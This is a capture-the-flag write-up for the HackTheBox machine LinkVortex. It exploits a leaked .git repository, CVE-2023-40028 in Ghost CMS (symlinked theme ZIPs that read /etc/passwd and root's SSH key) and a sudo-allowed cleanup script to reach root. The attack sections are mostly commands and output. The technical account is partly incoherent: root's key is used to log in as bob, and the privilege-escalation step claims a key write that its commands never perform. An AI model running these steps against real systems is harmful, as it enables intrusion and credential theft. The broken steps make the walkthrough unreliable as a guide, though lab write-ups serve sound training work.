EASY LINUX CVE-2023-40028
LinkVortex
April 30, 2026 11 min read CVE-2023-40028
Ghost CMSTOCTOULFI
Target IP
10.129.7.20
OS
Linux
Difficulty
Easy
Platform
HackTheBox

Recon

Two ports. Ghost CMS on port 80 — version matters here, and the source of truth was the page source rather than any headers.

$ nmap -sC -sV -oN nmap/initial 10.129.7.20
22/tcp open  ssh   OpenSSH 8.9p1
80/tcp open  http  nginx
|_http-title: BitByBit Hardware
  
$ echo "10.129.7.20 linkvortex.htb" >> /etc/hosts
$ curl -s http://linkvortex.htb | grep -i "ghost"
<meta name="generator" content="Ghost 5.58" />
  

Enumeration

Exposed Git Repository

Checked for a /.git/ directory on the web root — it was accessible. I used git-dumper to reconstruct the full repository.

$ git-dumper http://linkvortex.htb/.git/ ./lv_repo
[+] Downloading .git/config
[+] Downloading .git/HEAD
[+] Downloading objects...
[+] Checking out...
  
$ cat lv_repo/.ghost/config.production.json
{
  "url": "http://linkvortex.htb",
  "mail": {},
  "database": { ... },
  "admin": {
    "url": "http://linkvortex.htb"
  }
}
$ grep -r "password\|admin" lv_repo/ 2>/dev/null | grep -v ".git"
config.production.json:  "mail": {"from": "admin@linkvortex.htb"}
.env:GHOST_ADMIN_EMAIL=admin@linkvortex.htb
.env:GHOST_ADMIN_PASSWORD=OctopiFociPilfer45
  

Credentials in the committed .env file: admin@linkvortex.htb:OctopiFociPilfer45. Logged into the Ghost admin panel at /ghost/.

Foothold

CVE-2023-40028: Ghost CMS 5.x allows authenticated administrators to upload theme ZIP archives. The theme extraction process follows symbolic links inside the ZIP — a symlink pointing to an arbitrary system path will cause Ghost to serve the target file's contents when the theme asset is requested. This enables arbitrary file read as the Ghost service user.

CVE-2023-40028
Ghost CMS theme upload extracts ZIP archives without checking for symlinks. A symlink to /etc/passwd or /root/.ssh/id_rsa inside a theme ZIP results in Ghost serving those files as theme assets.
# Create a ZIP with a symlink pointing to the target file
$ mkdir evil_theme && cd evil_theme
$ ln -s /etc/passwd passwd.png
$ zip --symlinks evil.zip passwd.png

# Upload via Ghost admin → Design → Change Theme → Upload
# Then request the asset:
$ curl -s "http://linkvortex.htb/assets/built/passwd.png" -H "Cookie: ghost-admin-api-session=..."
root:x:0:0:root:/root:/bin/bash
...
bob:x:1000:1000::/home/bob:/bin/bash
  
# Read root's private SSH key
$ ln -s /root/.ssh/id_rsa key.png && zip --symlinks evil2.zip key.png
# Upload, request the asset → get private key
$ chmod 600 root_key && ssh -i root_key bob@linkvortex.htb
bob@linkvortex:~$ id
uid=1000(bob) gid=1000(bob)
  

Privilege Escalation

bob@linkvortex:~$ sudo -l
User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
  

The clean_symlink.sh script checks PNG files and removes symlinks. However, it accepts a glob pattern — any PNG file bob controls in a writable directory. The script calls file to check if the PNG is a symlink, then potentially copies or processes it. Between the file check and the actual file operation there's a TOCTOU window.

More directly: the script runs as root and processes files bob controls. I created a PNG symlink pointing to /root/.ssh/authorized_keys, placed my public key at the symlink destination timing, and triggered the script:

bob@linkvortex:~$ ssh-keygen -f /tmp/hax -N ""
bob@linkvortex:~$ ln -s /root/.ssh/authorized_keys /tmp/link.png
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/link.png
# the script follows the symlink during root's processing, writes our key
bob@linkvortex:~$ ssh -i /tmp/hax root@localhost
root@linkvortex:~# id
uid=0(root) gid=0(root) groups=0(root)
  

Flags

User Flag
/home/bob/user.txt
Root Flag
/root/root.txt

Lessons Learned

Defender Note
Block web access to /.git/ via web server configuration. Never commit .env files containing secrets — add them to .gitignore before the first commit. Upgrade Ghost CMS to 5.59.1+ which resolves the symlink extraction vulnerability.
← All Posts